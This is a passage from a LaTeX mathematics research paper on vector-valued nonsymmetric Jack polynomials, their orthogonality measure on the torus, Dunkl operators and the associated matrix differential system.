polynomials, again a parametrized basis but now for all polynomials in~$N$ variables. These polynomials are orthogonal for several dif\/ferent inner products, and in each case they are simultaneous eigenfunctions of a~commutative set of self-adjoint operators. These inner products are invariant under permutations of the coordinates, that is, the symmetric group. One of these inner products is that of $L^{2}\big(\mathbb{T}^{N},K_{\kappa}(x) \mathrm{d}m(x)\big)$, where
\begin{gather*}
\mathbb{T}^{N} :=\big\{ x\in\mathbb{C}^{N}\colon \vert x_{j} \vert =1,\, 1\leq j\leq N\big\} ,\\
\mathrm{d}m(x) =(2\pi) ^{-N}\mathrm{d}\theta_{1}\cdots\mathrm{d}\theta_{N},
\qquad x_{j}=\exp( \mathrm{i}\theta _{j}) , \qquad -\pi<\theta_{j}\leq\pi, \qquad 1\leq j\leq N,\\
K_{\kappa}(x) =\prod_{1\leq i<j\leq N}\vert x_{i}-x_{j}\vert ^{2\kappa}, \qquad \kappa>-\frac{1}{N};
\end{gather*}
def\/ining the $N$-torus, the Haar measure on the torus, and the weight function respectively. Beerends and Opdam \cite{Beerends/Opdam1993} discovered this
orthogonality property of symmetric Jack polyno\-mials. Opdam \cite{Opdam1995} established orthogonality structures on the torus for trigonometric
polynomials associated with Weyl groups; the nonsymmetric Jack polynomials form a special case.
Grif\/feth \cite{Griffeth2010} constructed vector-valued Jack polynomials for the family $G(n,p,N) $ of complex ref\/lection groups. These are the groups of permutation matrices (exactly one nonzero entry in each row and each column) whose nonzero entries are $n^{\rm th}$ roots of unity and the product of these entries is a $(n/p)^{\rm th}$ root of unity. The symmetric groups and the hyperoctahedral groups are the special cases $G(1,1,N) $ and $G(2,1,N)$ respectively. The term ``vector-valued'' means that the polynomials take values in irreducible modules of the underlying group, and the action of the group is on the range as well as the domain of the polynomials. The author \cite{Dunkl2010} together with Luque \cite{Dunkl/Luque2011} investigated the symmetric group case more intensively. The basic setup is an irreducible representation of the symmetric group, specif\/ied by a~partition $\tau$ of~$N$, and a~parameter~$\kappa$ restricted to an interval determined by the partition, namely $-1/h_{\tau}<\kappa<1/h_{\tau}$ where $h_{\tau}$ is the maximum hook-length of the partition~$\tau$. More recently~\cite{Dunkl2016} we showed that there does exist a positive matrix measure on the torus for which the nonsymmetric vector-valued Jack polynomials (henceforth NSJP's) form an orthogonal set. The proof depends on a matrix-version of Bochner's theorem about the relation between positive measures on a compact abelian group and positive-def\/inite functions on the dual group, which is a discrete abelian group. In the present situation the torus is the compact (multiplicative) group and the dual is $\mathbb{Z}^{N}$. By using known properties of the NSJP's we produced a positive-def\/inite matrix function on $\mathbb{Z}^{N}$ and this implied the existence of the desired orthogonality measure. Additionally we showed that the part of the measure supported by $\mathbb{T}_{\rm reg}^{N}:=\mathbb{T}^{N}\backslash\bigcup_{i<j} \{ x\colon x_{i}=x_{j} \} $ is absolutely continuous with respect to the Haar measure $\mathrm{d}m$ and satisf\/ies a f\/irst-order dif\/ferential system. In this paper we complete the description of the measure by proving there is no singular part. The idea is to use the functional equations satisf\/ied by the inner product to establish a~correspondence to the dif\/ferential system. The main reason for the argument being so complicated is that the ``obvious'' integration-by-parts argument which works smoothly for the scalar case with $\kappa>1$ has great dif\/f\/iculty with the singularities of the measure of the form $\vert x_{i}-x_{j}\vert ^{-2\vert \kappa\vert }$. We use a Cauchy principal-value argument based on a weak continuity condition across the faces $\{x\colon x_{i}=x_{j}\} $ (as an over-simplif\/ied one-dimensional example consider the integral $\int_{-1}^{1}\frac{\mathrm{d}}{\mathrm{d}x}f(x) \mathrm{d}x$ with $f(x) =\vert 2x+x^{2}\vert ^{-1/4}$: the integral is divergent but the principal value $\lim\limits_{\varepsilon\rightarrow0_{+}}\big\{ \int_{-1}^{-\varepsilon}+\int_{\varepsilon}^{1}\big\} f^{\prime}(x) \mathrm{d}x=f(1) -f(-1) +\lim\limits_{\varepsilon \rightarrow0_{+}}\{ f(-\varepsilon) -f(( \varepsilon))\} $ and $f(-\varepsilon) -f(\varepsilon) =O\big( \varepsilon^{3/4}\big) $ hence the limit exists).
The dif\/ferential system is a two-sided version of a Knizhnik--Zamolodchikov equation (see \cite{Felder/Veselov2007}) modif\/ied to have solutions
homogeneous of degree zero, that is, constant on circles $\{( ux_{1},\ldots$, $ux_{N}) \colon \vert u\vert =1\} $. The purpose of the latter condition is to allow solutions analytic on connected components of~$\mathbb{T}_{\rm reg}^{N}$. Denote the degree of $\tau$ by $n_{\tau}$. The solutions of the dif\/ferential system are locally analytic $n_{\tau}\times n_{\tau}$ matrix functions with initial condition given by a constant matrix. That is, the solution space is of dimension $n_{\tau}^{2}$ but only one solution can provide the desired weight function. Part of the analysis deals with conditions specifying this solution~-- they turn out to be commutation relations involving certain group elements. In the subsequent discussion it is shown that the weight function property holds for a very small interval of $\kappa$ values if these relations are satisf\/ied. This is combined with the existence theorem of the positive-def\/inite matrix measure to f\/inally demonstrate that the measure has no singular part for any $\kappa$ in $-1/h_{\tau}<\kappa<1/h_{\tau}$.
In a subsequent development \cite{Dunkl2017} it is shown that the square root of the matrix weight function multiplied by vector-valued symmetric Jack polynomials provides novel wavefunctions of the Calogero--Sutherland quantum mechanical model of identical particles on a circle with $1/r^{2}$ interactions.
Here is an outline of the contents of the individual sections:
\begin{itemize}\itemsep=0pt
\item Section \ref{mods}: a short description of the representation of the symmetric group associated to a partition; the def\/inition of Dunkl operators for vector-valued polynomials and the def\/inition of nonsymmetric Jack polynomials (NSJP's) as simultaneous eigenvectors of a~commutative set of operators; and the Hermitian form given by an integral over the torus, for which the NSJP's form an orthogonal basis.
\item Section \ref{difsys}: the def\/inition of the linear system of dif\/ferential equations which will be demonstrated to have a unique matrix solution $L(x) $ such that $L(x) ^{\ast}L(x) \mathrm{d}m(x) $ is the weight function for the Hermitian form; the proof that the system is Frobenius integrable and the analyticity and monodromy properties of the solutions on the torus.
\item Section \ref{byparts}: the use of the dif\/ferential equation to relate the Hermitian form to $L(x) ^{\ast}L(x) $ by means of integration by parts; the result of this is to isolate the role of the singularities in the process of proving the orthogonality of the NSJP's with respect to $L^{\ast}L\mathrm{d}m$.
\item Section \ref{locps}: deriving power series expansions of $L(x) $ near the singular set $\bigcup_{i<j}\big\{ x\in\mathbb{T}^{N}\colon$ $x_{i}=x_{j}\big\}$, in particular near the set $\{x\colon x_{N-1}=x_{N}\} $; description of commutation properties of the coef\/f\/icients with respect to the ref\/lection $(N-1,N) $; the behavior of $L$ across the mirror $\{ x\colon x_{N-1}=x_{N}\} $.
\item Section \ref{bnds}: the derivation of global bounds on $L(x)$ and local bounds on the coef\/f\/icients of the power series, needed to analyze convergence properties of the integration by parts.
\item Section \ref{suffco}: the proof of a suf\/f\/icient condition for the validity of the Hermitian form; the condition is partly that~$\kappa$ lies in a small interval around $0$ and that the boundary value of~$L(x)$ satisf\/ies a commutativity condition; the proof involves very detailed analysis of bounds on~$L$, since the local bounds have to be integrated over the entire torus.
\item Section \ref{orthmu}: further analysis of the orthogonality measure constructed in \cite{Dunkl2016}, in particular the proof of the formal dif\/ferential system satisf\/ied by the Fourier--Stieltjes (Laurent) series of the measure; this is used to show that the measure has no singular part on the open faces, such as
\begin{gather*}
\big\{ \big( e^{\mathrm{i}\theta_{1}},e^{\mathrm{i}\theta_{2}},\ldots,e^{\mathrm{i}\theta_{N-1}},e^{\mathrm{i}\theta_{N-1}}\big)\colon \theta_{1}<\theta_{2}<\cdots<\theta_{N-2}<\theta_{N-1}<\theta_{1}+2\pi\big\} ;
\end{gather*}
in turn this property is shown to imply the validity of the suf\/f\/icient condition set up in Section~\ref{suffco}.
\item Section \ref{anlcmat}: analyticity properties of the solutions of matrix equations with analytic coef\/f\/i\-cients; the results are used to extend the validity of the Hermitian form to the desired interval $-1/h_{\tau}<\kappa<1/h_{\tau}$ from the smaller interval found in Section~\ref{suffco}.
\end{itemize}
\section{Modules of the symmetric group}\label{mods}
The \textit{symmetric group} $\mathcal{S}_{N}$, the set of permutations of $\{1,2,\ldots,N\} $, acts on $\mathbb{C}^{N}$ by permutation of coordinates. For $\alpha\in\mathbb{Z}^{N}$ the norm is $\vert \alpha\vert :=\sum\limits_{i=1}^{N}\vert \alpha_{i}\vert $ and the monomial is $x^{\alpha}:= \prod\limits_{i=1}^{N} x_{i}^{\alpha_{i}}$. Denote $\mathbb{N}_{0}:=\{0,1,2,\ldots\}$. The space of polynomials $\mathcal{P}:= \operatorname{span}_{\mathbb{C}}\big\{ x^{\alpha}\colon \alpha \in\mathbb{N}_{0}^{N}\big\} $. Elements of $\operatorname{span}_{\mathbb{C}}\big\{ x^{\alpha}\colon \alpha\in\mathbb{Z}^{N}\big\} $ are called \textit{Laurent} polynomials. The action of $\mathcal{S}_{N}$ is extended to polynomials by $wp(x) =p(xw) $ where $( xw) _{i}=x_{w(i) }$ (consider $x$ as a row vector and~$w$ as a~permutation matrix, $[w] _{ij}=\delta_{i,w(j)}$, then $xw=x[w] $). This is a representation of $\mathcal{S}_{N}$, that is, $w_{1}(w_{2}p) (x) =(w_{2}p) (xw_{1}) =p(xw_{1}w_{2}) =(w_{1}w_{2}) p(x) $ for all $w_{1},w_{2}\in\mathcal{S}_{N}$.
Furthermore $\mathcal{S}_{N}$ is generated by ref\/lections in the mirrors $\{x\colon x_{i}=x_{j}\} $ for $1\leq i<j\leq N$. These are \textit{transpositions}, denoted by $(i,j)$, so that $x(i,j) $ denotes the result of interchanging~$x_{i}$ and~$x_{j}$. Def\/ine the $\mathcal{S}_{N}$-action on~$\alpha\in\mathbb{Z}^{N}$ so that $(xw) ^{\alpha}=x^{w\alpha}$
\begin{gather*}
(xw) ^{\alpha}=\prod_{i=1}^{N}x_{w(i) }^{\alpha_{i}}=\prod_{j=1}^{N}x_{j}^{\alpha_{w^{-1}(j) }},
\end{gather*}
that is $(w\alpha) _{i}=\alpha_{w^{-1}(i) }$ (take $\alpha$ as a column vector, then $w\alpha=[w] \alpha$).
The \textit{simple reflections} $s_{i}:=(i,i+1)$, $1\leq i\leq N-1$, generate $\mathcal{S}_{N}$. They are the key devices for applying inductive methods, and satisfy the \textit{braid} relations:
\begin{gather*}
s_{i}s_{j} =s_{j}s_{i},\qquad \vert i-j\vert \geq2;\\
s_{i}s_{i+1}s_{i} =s_{i+1}s_{i}s_{i+1}.
\end{gather*}
We consider the situation where the group $\mathcal{S}_{N}$ acts on the range as well as on the domain of the polynomials. We use vector spaces, called
$\mathcal{S}_{N}$-modules, on which $\mathcal{S}_{N}$ has an irreducible unitary (orthogonal) representation: $\tau\colon \mathcal{S}_{N}\rightarrow
O_{m}(\mathbb{R}) $ $\big(\tau(w) ^{-1}=\tau\big( w^{-1}\big) =\tau(w) ^{T}\big)$. See James and Kerber~\cite{James/Kerber1981} for representation theory, including a modern discussion of Young's methods.
Denote the set of \textit{partitions}
\begin{gather*}
\mathbb{N}_{0}^{N,+}:=\big\{ \lambda\in\mathbb{N}_{0}^{N}\colon \lambda_{1}\geq\lambda_{2}\geq\cdots\geq\lambda_{N}\big\} .
\end{gather*}
We identify $\tau$ with a partition of $N$ given the same label, that is $\tau\in\mathbb{N}_{0}^{N,+}$ and $\vert\tau\vert =N$. The length of~$\tau$ is $\ell(\tau) :=\max \{ i\colon \tau_{i}>0 \} $. There is a Ferrers diagram of shape~$\tau$ (also given the same label), with boxes at points $(i,j) $ with $1\leq i\leq\ell(\tau) $ and $1\leq j\leq\tau_{i}$. A \textit{tableau} of shape~$\tau$ is a~f\/illing of the boxes with numbers, and a \textit{reverse standard Young tableau} (RSYT) is a~f\/illing with the numbers $\{1,2,\ldots,N\} $ so that the entries decrease in each row and each column. We exclude the one-dimensional representations corresponding to one-row $(N) $ or one-column $(1,1,\ldots,1) $ partitions (the trivial and determinant representations, respectively). We need the important quantity $h_{\tau}:=\tau_{1}+\ell(\tau) -1$, the maximum hook-length of the diagram (the \textit{hook-length} of the node~$(i,j) \in \tau$ is def\/ined to be $\tau_{i}-j+\# \{ k\colon i<k\leq\ell(\tau) \&j\leq\tau_{k} \} +1$). Denote the set of RSYT's of shape~$\tau$ by $\mathcal{Y}(\tau)$ and let
\begin{gather*}
V_{\tau}=\operatorname{span} \{ T\colon T\in\mathcal{Y}(\tau)\}
\end{gather*}
(the f\/ield is $\mathbb{C}(\kappa) $) with orthogonal basis $\mathcal{Y}(\tau) $. For $1\leq i\leq N$ and $T\in \mathcal{Y}(\tau) $ the entry $i$ is at coordinates $( rw(i,T) ,cm(i,T)) $ and the \textit{content} is $c(i,T) :=cm(i,T) -rw(i,T) $. Each $T\in\mathcal{Y}(\tau) $ is uniquely determined by its \textit{content vector} $[ c(i,T)] _{i=1}^{N}$. Let $S_{1}(\tau) =\sum\limits_{i=1}^{N}c(i,T) $ (this sum depends only on $\tau$) and $\gamma:=S_{1}(\tau)/N$. The $\mathcal{S}_{N}$-invariant inner product on $V_{\tau}$ is def\/ined by
\begin{gather*}
\langle T,T^{\prime}\rangle _{0}:=\delta_{T,T^{\prime}}\times \prod_{\substack{1\leq i<j\leq N,\\ c(i,T) \leq c(j,T) -2}}\left( 1-\frac{1}{( c(i,T) -c(j,T)) ^{2}}\right) , \qquad T,T^{\prime}\in\mathcal{Y} (\tau) .
\end{gather*}
It is unique up to multiplication by a constant.
The \textit{Jucys--Murphy} elements $\sum\limits_{j=i+1}^{N}(i,j)$ satisfy $\sum\limits_{j=i+1}^{N}\tau((i,j)) T=c(i,T) T$ and thus the central element $\sum\limits_{1\leq i<j\leq N}(i,j) $ satisf\/ies $\sum\limits_{1\leq i<j\leq N} \tau((i,j)) T=S_{1}(\tau) T$ for each $T\in\mathcal{Y}(\tau) $. The basis is ordered such that the vectors $T$ with $c(N-1,T) =-1$ appear f\/irst (that is, $cm(N-1,T) =1$, $rw(N-1,T) =2$). This results in the matrix representation of $\tau((N-1,N)) $ being
\begin{gather*}
\left[
\begin{matrix}
-I_{m_{\tau}} & O\\
O & I_{n_{\tau}-m_{\tau}}
\end{matrix}
\right] ,
\end{gather*}
where $n_{\tau}:=\dim V_{\tau}=\#\mathcal{Y}(\tau) $ and $m_{\tau}$ is given by $\operatorname{tr}( \tau( (N-1,N))) =n_{\tau}-2m_{\tau}$. From the sum $\sum\limits_{i<j}\tau ((i,j)) =S_{1}(\tau) I$ it follows that $\binom{N}{2}\operatorname{tr}( \tau((N-1,N))) =S_{1}(\tau) n_{\tau}$ and $m_{\tau}= n_{\tau}\big( \frac{1}{2}-\frac{S_{1}(\tau) }{N(N-1) }\big)$. (The transpositions are conjugate to each other implying the traces are equal.)
\subsection{Jack polynomials}
The main concerns of this paper are measures and matrix functions on the torus associated to $\mathcal{P}_{\tau}:=\mathcal{P}\otimes V_{\tau}$, the space of
$V_{\tau}$-valued polynomials, which is equipped with the $\mathcal{S}_{N}$ action:
\begin{gather*}
w\left( x^{\alpha}\otimes T\right) =(xw) ^{\alpha}\otimes\tau(w) T, \qquad \alpha\in\mathbb{N}_{0}^{N}, \qquad T\in \mathcal{Y}(\tau) ,\\
wp(x) =\tau(w) p(xw), \qquad p\in\mathcal{P}_{\tau},
\end{gather*}
extended by linearity. There is a parameter $\kappa$ which may be generic/transcendental or complex.
\begin{Definition}
The \textit{Dunkl} and \textit{Cherednik--Dunkl} operators are ($1\leq i\leq N$, $p\in\mathcal{P}_{\tau}$)
\begin{gather*}
\mathcal{D}_{i}p(x) :=\frac{\partial}{\partial x_{i}}p(x) +\kappa\sum_{j\neq i}\tau((i,j)) \frac{p(x) -p(x(i,j))}{x_{i}-x_{j}},\\
\mathcal{U}_{i}p(x) :=\mathcal{D}_{i}( x_{i}p(x)) -\kappa\sum_{j=1}^{i-1}\tau( (i,j)) p(x(i,j)) .
\end{gather*}
\end{Definition}
The commutation relations analogous to the scalar case hold:
\begin{gather*}
\mathcal{D}_{i}\mathcal{D}_{j} =\mathcal{D}_{j}\mathcal{D}_{i}, \qquad \mathcal{U}_{i}\mathcal{U}_{j}=\mathcal{U}_{j}\mathcal{U}_{i}, \qquad 1\leq i,j\leq
N;\\
w\mathcal{D}_{i} =\mathcal{D}_{w(i) }w, \qquad \forall\, w\in \mathcal{S}_{N}; \qquad s_{j}\mathcal{U}_{i}=\mathcal{U}_{i}s_{j}, \qquad j\neq i-1,i;\\
s_{i}\mathcal{U}_{i}s_{i} =\mathcal{U}_{i+1}+\kappa s_{i}, \qquad \mathcal{U}_{i}s_{i}=s_{i}\mathcal{U}_{i+1}+\kappa, \qquad \mathcal{U}_{i+1}s_{i}=s_{i}\mathcal{U}_{i}-\kappa.
\end{gather*}
The simultaneous eigenfunctions of $\{\mathcal{U}_{i}\} $ are called (vector-valued) nonsymmetric Jack polynomials (NSJP). For generic~$\kappa$ these eigenfunctions form a basis of $\mathcal{P}_{\tau}$ (this property fails for certain rational numbers outside the interval $-1/h_{\tau}<\kappa<1/h_{\tau}$). There is a partial order on $\mathbb{N}_{0}^{N}\times\mathcal{Y}(\tau) $ for which the NSJP's have a triangular expression with leading term indexed by $(\alpha,T) \in\mathbb{N}_{0}^{N}\times\mathcal{Y}(\tau) $. The polynomial with this label is denoted by $\zeta_{\alpha,T}$, homogeneous of degree $\sum\limits_{i=1}^{N}\alpha_{i}$ and satisf\/ies
\begin{gather*}
\mathcal{U}_{i}\zeta_{\alpha,T} =\left( \alpha_{i}+1+\kappa c\left(r_{\alpha}(i) ,T\right) \right) \zeta_{\alpha,T}, \qquad 1\leq i\leq N,\\
r_{\alpha}(i) :=\#\{ j\colon \alpha_{j}>\alpha_{i}\}+\# \{ j\colon 1\leq j\leq i,\alpha_{j}=\alpha_{i} \} ;
\end{gather*}
the rank function $r_{\alpha}\in\mathcal{S}_{N}$ and $r_{\alpha}=I$ if and only if $\alpha$ is a partition. The vector
\begin{gather*}
[ \alpha_{i}+1+\kappa c( r_{\alpha}(i) ,T)] _{i=1}^{N}
\end{gather*} is called the spectral vector for $(\alpha,T) $. The NSJP structure can be extended to Laurent polynomials. Let $e_{N}:=\prod\limits_{i=1}^{N}x_{i}$ and $\boldsymbol{1}:=(1,1,\ldots,1) \in\mathbb{N}_{0}^{N}$, then $r_{\alpha+m\boldsymbol{1}}=r_{\alpha}$ for any $\alpha\in\mathbb{N}_{0}^{N}$ and $m\in\mathbb{Z}$. The commutation $\mathcal{U}_{i}( e_{N}^{m}p) =e_{N}^{m}( m+\mathcal{U}_{i}) p$ for $1\leq i\leq
N$ and $p\in\mathcal{P}_{\tau}$ imply that $e_{N}^{m}\zeta_{\alpha,T}$ and $\zeta_{\alpha+m\boldsymbol{1},T}$ have the same spectral vector for any
$m\in\mathbb{N}_{0}$. They also have the same leading term (see \cite[Section~2.2]{Dunkl2016}) and hence $e_{N}^{m}\zeta_{\alpha,T}=\zeta_{\alpha
+m\boldsymbol{1},T}$ for $\alpha\in\mathbb{N}_{0}^{N}$. This fact allows the def\/inition of~$\zeta_{\alpha,T}$ for any $\alpha\in\mathbb{Z}^{N}$: let
$m=-\min_{i}\alpha_{i}$ then $\alpha+m\boldsymbol{1}\in\mathbb{N}_{0}^{N}$ and set $\zeta_{\alpha,T}:=e_{N}^{-m}\zeta_{\alpha+m\boldsymbol{1},T}$.
For a complex vector space $V$ a Hermitian form is a mapping $\langle \cdot,\cdot\rangle \colon V\otimes V\rightarrow\mathbb{C}$ such that $\langle u,cv\rangle =c\langle u,v\rangle $, $\langle u,v_{1}+v_{2}\rangle =\langle u,v_{1}\rangle+\langle u,v_{2}\rangle $ and $\langle u,v\rangle
=\overline{\langle v,u\rangle }$ for $u,v_{1},v_{2}\in V$, $c\in\mathbb{C}$. The form is positive semidef\/inite if $\langle u,u\rangle \geq0$ for all $u\in V$. The concern of this paper is with a~particular Hermitian form on $\mathcal{P}_{\tau}$ which has the properties (for all $f,g\in\mathcal{P}_{\tau},T,T^{\prime}\in\mathcal{Y}(\tau)$, $w\in\mathcal{S}_{N}$, $1\leq i\leq N$):
\begin{gather}
\langle 1\otimes T,1\otimes T^{\prime} \rangle =\langle T,T^{\prime} \rangle _{0},\label{admforms}\\
\langle wf,wg \rangle =\langle f,g\rangle,\nonumber\\
\langle x_{i}\mathcal{D}_{i}f,g\rangle =\langle f,x_{i}\mathcal{D}_{i}g\rangle ,\nonumber\\
\langle x_{i}f,x_{i}g\rangle =\langle f,g\rangle.\nonumber
\end{gather}
The commutation $\mathcal{U}_{i}=\mathcal{D}_{i}x_{i}-\kappa\sum\limits_{j<i}(i,j) =x_{i}\mathcal{D}_{i}+1+\kappa\sum\limits_{j>i}(i,j) $ together with $\langle (i,j) f,g\rangle =\langle f,(i,j)g\rangle $ show that $\langle \mathcal{U}_{i}f,g\rangle= \langle f,\mathcal{U}_{i}g\rangle $ for all~$i$. Thus uniqueness of the spectral vectors (for all but a certain set of rational~$\kappa$ values) implies that $\langle \zeta_{\alpha,T},\zeta_{\beta,T^{\prime}
}\rangle =0$ whenever $(\alpha,T) \neq(\beta,T^{\prime}) $. In particular polynomials homogeneous of dif\/ferent degrees are mutually orthogonal, by the basis property of $\{ \zeta_{\alpha,T}\} $. For this particular Hermitian form, multiplication by any $x_{i}$ is an isometry for all $1\leq i\leq N$. This
involves an integral over the torus. The equations~(\ref{admforms}) determine the form uniquely (up to a multiplicative constant if the f\/irst condition is removed).
Denote $\mathbb{C}_{\times}:=\mathbb{C}\backslash\{0\} $ and $\mathbb{C}_{\rm reg}^{N}:=\mathbb{C}_{\times}^{N}\backslash\bigcup\limits_{i<j}\{x\colon x_{i}=x_{j}\}$. The torus is a compact multiplicative abelian group. The notations for the torus and its Haar measure in terms of
polar coordinates are%
\begin{gather*}
\mathbb{T}^{N} :=\big\{ x\in\mathbb{C}^{N}\colon \vert x_{j} \vert =1,\, 1\leq j\leq N\big\} ,\\
\mathrm{d}m(x) =(2\pi) ^{-N}\mathrm{d}\theta_{1}\cdots\mathrm{d}\theta_{N}, \qquad x_{j}=\exp ( \mathrm{i}\theta _{j}) , \qquad -\pi<\theta_{j}\leq\pi, \qquad 1\leq j\leq N.
\end{gather*}
Let $\mathbb{T}_{\rm reg}^{N}:=\mathbb{T}^{N}\cap\mathbb{C}_{\rm reg}^{N}$, then $\mathbb{T}_{\rm reg}^{N}$ has $(N-1) !$ connected components and each component is homotopic to a circle (if~$x$ is in some component then so is $ux= ( ux_{1},\ldots,ux_{N} ) $ for each $u\in\mathbb{T}$).
\begin{Definition}
Let $\omega:=\exp\frac{2\pi\mathrm{i}}{N}$ and $x_{0}:=\big( 1,\omega,\ldots,\omega^{N-1}\big)$. Denote the connected component of~$\mathbb{T}_{\rm reg}^{N}$ containing $x_{0}$ by $\mathcal{C}_{0}$.
\end{Definition}
Thus $\mathcal{C}_{0}$ is the set consisting of $\big( e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{N}}\big) $ with $\theta_{1}<\theta_{2}< \cdots<\theta_{N}<\theta_{1}+2\pi$.
In \cite{Dunkl2016} we showed that if $-1/h_{\tau}<\kappa<1/h_{\tau}$ then there exists a positive matrix-valued measure~$\mathrm{d}\mu$ on~$\mathbb{T}^{N}$ such that for $f,g\in C^{(1) }\big( \mathbb{T}^{N};V_{\tau}\big) $, $w\in\mathcal{S}_{N}$, $1\leq i\leq N$, %
\begin{gather*}
\int_{\mathbb{T}^{N}}f(x) ^{\ast}\mathrm{d}\mu(x)g(x) =\int_{\mathbb{T}^{N}}f(xw) ^{\ast}\tau(w) ^{-1}\mathrm{d}\mu(x) \tau(w) g(xw) ,\\
\int_{\mathbb{T}^{N}}( x_{i}\mathcal{D}_{i}f(x))^{\ast}\mathrm{d}\mu(x) g(x) =\int_{\mathbb{T}^{N}}f(x) ^{\ast}\mathrm{d}\mu(x)x_{i}\mathcal{D}_{i}g(x) ,\\
\int_{\mathbb{T}^{N}}(1\otimes T) ^{\ast}\mathrm{d}\mu (x) (1\otimes T) =\langle T,T\rangle_{0}, \qquad T\in\mathcal{Y}(\tau) .
\end{gather*}
We introduced the notation
\begin{gather*}
f(x) ^{\ast}\mathrm{d}\mu(x) g(x):=\sum\limits_{T,T^{\prime}\in\mathcal{Y}(\tau) }\overline {f(x) _{T}}g(x) _{T^{\prime}}\mathrm{d}\mu_{T,T^{\prime}}(x),
\end{gather*}
where $f,g\in\mathcal{P}_{\tau}$ have the components $(f_{T}),(g_{T}) $ with respect to the orthonormal basis
\begin{gather*}
\big\{ \langle T,T\rangle _{0}^{-1/2}T\colon T\in\mathcal{Y}(\tau)\big\}.
\end{gather*}
Thus the Hermitian form $\langle f,g\rangle =\int_{\mathbb{T}^{N}}f(x) ^{\ast}\mathrm{d}\mu(x) g(x) $ satisf\/ies~(\ref{admforms}). Furthermore we showed that
\begin{gather*}
\mathrm{d}\mu(x) =\mathrm{d}\mu_{s}(x) +L(x) ^{\ast}H(\mathcal{C}) L(x)\mathrm{d}m(x) ,
\end{gather*}
where the singular part $\mu_{s}$ is the restriction of $\mu$ to $\mathbb{T}^{N}\backslash\mathbb{T}_{\rm reg}^{N}$, $H(\mathcal{C}) $ is constant and positive-def\/inite on each connected component $\mathcal{C}$ of $\mathbb{T}_{\rm reg}^{N}$ and $L(x) $ is a matrix function solving a system of dif\/ferential equations. That system is the subject of this paper. In a way the main problem is to show that $\mu$ has no singular part.
\section{The dif\/ferential system}\label{difsys}
Consider the system (with $\partial_{i}:=\frac{\partial}{\partial x_{i}}$, $1\leq i\leq N$) for $n_{\tau}\times n_{\tau}$ matrix functions $L(x) $
\begin{gather}
\partial_{i}L(x) =\kappa L(x) \left\{\sum_{j\neq i}\frac{1}{x_{i}-x_{j}}\tau((i,j))-\frac{\gamma}{x_{i}}I\right\} ,\qquad 1\leq i\leq N,\label{Lsys}\\
\gamma :=\frac{S_{1}(\tau) }{N}=\frac{1}{2N}\sum_{i=1}^{\ell(\tau) }\tau_{i}(\tau_{i}-2i+1) .\nonumber
\end{gather}
The ef\/fect of the term $\frac{\gamma}{x_{i}}I$ is to make $L(x)$ homogeneous of degree zero, that is, $\sum\limits_{i=1}^{N}x_{i}\partial_{i}L(x) =0$. The dif\/ferential system is def\/ined on $\mathbb{C}_{\rm reg}^{N}$, Frobenius integrable and analytic, thus any local solution can be continued analytically to any point in $\mathbb{C}_{\rm reg}^{N}$. Dif\/ferent paths may produce dif\/ferent values; if the analytic continuation is done along a closed path then the resultant solution is a constant matrix multiple of the original solution, called the monodromy matrix, however if the closed path is contained in a simply connected subset of $\mathbb{C}_{\rm reg}^{N}$ then there is no change.
Integrability means that $\partial_{i}( \kappa L(x) A_{j}(x)) =\partial_{j}( \kappa L(x)A_{i}(x)) $ for $i\neq j$, writing the system as
$\partial_{i}L(x) =\kappa L(x) A_{i} (x) $, $1\leq i\leq N$ (where $A_{i}(x) $ is def\/ined by equation~(\ref{Lsys})). The condition becomes%
\begin{gather*}
\kappa^{2}L(x) A_{i}(x) A_{j}(x) +\kappa L(x) \partial_{i}A_{j}(x) =\kappa^{2}L(x) A_{j}(x) A_{i}(x) +\kappa L(x) \partial_{j}A_{i}(x) .
\end{gather*}
Since $\partial_{i}A_{j}(x) =\frac{\tau((i,j)) }{( x_{i}-x_{j}) ^{2}}=\partial_{j}A_{i}(x) $ it suf\/f\/ices to show that $A_{i}(x)^{\prime}:=\sum\limits_{k\neq i}\frac{\tau(( i,k)) }{x_{i}-x_{k}}$ and $A_{j}(x) ^{\prime}:=\sum\limits_{\ell\neq j}\frac{\tau((j,\ell)) }{x_{j}-x_{\ell}}$ commute with each other. The product $A_{i}(x)^{\prime}A_{j}(x) ^{\prime}$ is a sum of $-\frac{1}{(x_{i}-x_{j}) ^{2}}I$, terms of the form $\frac{\tau((i,k) ( j,\ell)) }{( x_{i}-x_{k})( x_{j}-x_{\ell}) }+\frac{\tau(( i,\ell)( j,k)) }{( x_{i}-x_{\ell})(x_{j}-x_{k}) }$ for $\{ i,k\} \cap\{ j,\ell\}
=\varnothing$, and terms involving the $3$-cycles $(i,j,k) $ and $(j,i,k) $ occurring as
\begin{gather*}
\frac{\tau ( (i,j) (j,k)) }{(x_{i}-x_{j}) (x_{j}-x_{k}) }+\frac{\tau((i,k) (j,i)) }{(x_{i}-x_{k})
(x_{j}-x_{i}) }+\frac{\tau ( (i,k) (j,k)) }{(x_{i}-x_{k}) (x_{j}-x_{k})}\\
\qquad{} =\frac{\tau((i,j,k)) }{( x_{i}-x_{k}) (x_{j}-x_{k}) }+\frac{\tau((j,i,k)) }{(x_{i}-x_{k})( x_{j}-x_{k}) },
\end{gather*}
(because $(i,j) (j,k) =(i,k) (j,i) =(i,j,k) $ and $(i,k)(j,k) =(j,i,k) $) and the latter two terms are symmetric in~$i$,~$j$.
We consider only fundamental solutions, that is, $\det L(x)\neq0$. Recall Jacobi's identity:
\begin{gather*}
\frac{\partial}{\partial t}\det F(t) =\operatorname{tr}\left(\operatorname{adj}(F(t)) \frac{\partial}{\partial t}F(t) \right),
\end{gather*}
where $F(t) $ is a dif\/ferentiable matrix function and $\operatorname{adj}(F(t)) F(t) =\det F(t) I$, that is, $\operatorname{adj} ( F(t)) =\{ \det F(t) \} F(t) ^{-1}$ when $F(t) $ is invertible; thus
\begin{gather*}
\partial_{i}\det L(x) =\operatorname{tr}\big( \{ \det L(x)\} L(x) ^{-1}\partial_{i}L(x)
\big) =\kappa\det L(x) \operatorname{tr}A_{i}(x) .
\end{gather*}
This can be solved: from $\sum\limits_{i<j}\tau((i,j)) =S_{1}(\tau) I$ it follows that $\operatorname{tr}( \tau((i,j))) =\binom{N}{2}^{-1}S_{1}(\tau) n_{\tau}=\frac{2}{N-1}\gamma n_{\tau}$ (and $n_{\tau}=\#\mathcal{Y}(\tau) $). We obtain the system
\begin{gather*}
\partial_{i}\det L(x) =\kappa\gamma n_{\tau}\left\{ \frac {2}{N-1}\sum_{j\neq i}\frac{1}{x_{i}-x_{j}}-\frac{1}{x_{i}}\right\} \det
